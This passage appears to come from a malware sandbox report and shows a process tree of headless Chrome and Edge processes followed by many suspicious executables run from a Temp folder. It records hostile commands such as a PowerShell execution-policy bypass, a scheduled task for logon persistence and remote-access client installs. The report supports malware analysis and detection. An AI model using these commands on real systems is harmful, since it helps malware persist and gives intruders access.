        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --force-high-res-timeticks=disabled --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1976 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --force-high-res-timeticks=disabled --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2752 /prefetch:13
        5⤵
        
        PID:9112
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3312 /prefetch:1
        5⤵
        
        PID:8368
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3332 /prefetch:1
        5⤵
        
        PID:8796
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3628 /prefetch:9
        5⤵
        
        PID:9140
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3572 /prefetch:1
        5⤵
        
        PID:6812
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4228 /prefetch:9
        5⤵
        
        PID:8404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4528 /prefetch:9
        5⤵
        
        PID:9248
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5008 /prefetch:1
        5⤵
        
        PID:9924
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --force-high-res-timeticks=disabled --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5516 /prefetch:14
        5⤵
        
        PID:8464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:6756
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6756240817171 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6756240817171\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x2cc,0x7ff80c9dc188,0x7ff80c9dc194,0x7ff80c9dc1a0
        5⤵
        
        PID:2428
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2716 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:10568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2532 /prefetch:2
        5⤵
        
        PID:10084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2724 /prefetch:13
        5⤵
        
        PID:10188
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3676 /prefetch:1
        5⤵
        
        PID:4356
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3636 /prefetch:1
        5⤵
        
        PID:4080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4352 /prefetch:1
        5⤵
        
        PID:7784
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4440 /prefetch:9
        5⤵
        
        PID:6252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4384 /prefetch:1
        5⤵
        
        PID:8032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4452 /prefetch:1
        5⤵
        
        PID:9616
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4428 /prefetch:9
        5⤵
        
        PID:7732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4456 /prefetch:9
        5⤵
        
        PID:6960
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4476 /prefetch:1
        5⤵
        
        PID:10496
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4376 /prefetch:9
        5⤵
        
        PID:2084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4604 /prefetch:9
        5⤵
        
        PID:10564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4164 /prefetch:9
        5⤵
        
        PID:944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4832 /prefetch:9
        5⤵
        
        PID:6432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4916 /prefetch:9
        5⤵
        
        PID:7012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5796 /prefetch:1
        5⤵
        
        PID:10560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6148 /prefetch:1
        5⤵
        
        PID:10956
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6152 /prefetch:1
        5⤵
        
        PID:10880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4644 /prefetch:9
        5⤵
        
        PID:6640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=7544 /prefetch:14
        5⤵
        
        PID:11412
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=7576 /prefetch:14
        5⤵
        
        PID:11420
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6432 /prefetch:1
        5⤵
        
        PID:3868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6720 /prefetch:1
        5⤵
        
        PID:10372
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6716 /prefetch:1
        5⤵
        
        PID:2000
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=7768 /prefetch:1
        5⤵
        
        PID:11632
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,18285986837313968576,8448243496195397489,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3516 /prefetch:14
        5⤵
        
        PID:6708
- - C:\Users\Admin\AppData\Local\Temp\a\klr.exe
    klr.exe
    3⤵
    PID:6848
- - C:\Users\Admin\AppData\Local\Temp\a\wrm.exe
    wrm.exe
    3⤵
    PID:6936
  - - C:\Users\Admin\AppData\Local\Temp\a\wrm.exe
      wrm.exe
      4⤵
      PID:8108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:9540
- - C:\Users\Admin\AppData\Local\Temp\a\app.exe
    app.exe
    3⤵
    PID:7080
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\app.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1785059170 "
      4⤵
      PID:10760
- - C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe
    file_77b5757ae75eb20b.exe
    3⤵
    PID:7100
- - C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe
    Upaavirkeligheden.exe
    3⤵
    PID:7108
  - - C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"
      4⤵
      PID:7792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6480
- - C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe
    Client-built.exe
    3⤵
    PID:1848
- - C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:6856
- - C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe
    file_ac12f1da1bdab1e0.exe
    3⤵
    PID:7284
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Zoom.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7712
- - C:\Users\Admin\AppData\Local\Temp\a\8.exe
    8.exe
    3⤵
    PID:8088
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:4980
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.4.3.9662\522b79fad9610535\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"
      4⤵
      PID:8696
- - C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:6380
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:7740
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:7224
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:8228
    - - C:\Users\Admin\AppData\Local\Apps\2.0\6KH3WPZT.VN1\7RGNWD7D.H5T\scre..tion_25b0fbb6ef7eb094_0019.0002_1601b166bb0af22e\ScreenConnect.WindowsClient.exe
        
        "C:\Users\Admin\AppData\Local\Apps\2.0\6KH3WPZT.VN1\7RGNWD7D.H5T\scre..tion_25b0fbb6ef7eb094_0019.0002_1601b166bb0af22e\ScreenConnect.WindowsClient.exe"
        5⤵
        
        PID:7612
    - - C:\Users\Admin\AppData\Local\Apps\2.0\6KH3WPZT.VN1\7RGNWD7D.H5T\scre..tion_25b0fbb6ef7eb094_0019.0002_1dd4c96df6dd51e2\ScreenConnect.WindowsClient.exe
        
        "C:\Users\Admin\AppData\Local\Apps\2.0\6KH3WPZT.VN1\7RGNWD7D.H5T\scre..tion_25b0fbb6ef7eb094_0019.0002_1dd4c96df6dd51e2\ScreenConnect.WindowsClient.exe"
        5⤵
        
        PID:5748
- - C:\Users\Admin\AppData\Local\Temp\a\RoxanneIQ6.exe
    RoxanneIQ6.exe
    3⤵
    PID:7552
- - C:\Users\Admin\AppData\Local\Temp\a\DragonBalls76Ace.exe
    DragonBalls76Ace.exe
    3⤵
    PID:7832
- - C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:3744
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9212
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:8676
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i vmware-setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6352
- - C:\Users\Admin\AppData\Local\Temp\a\s.exe
    s.exe
    3⤵
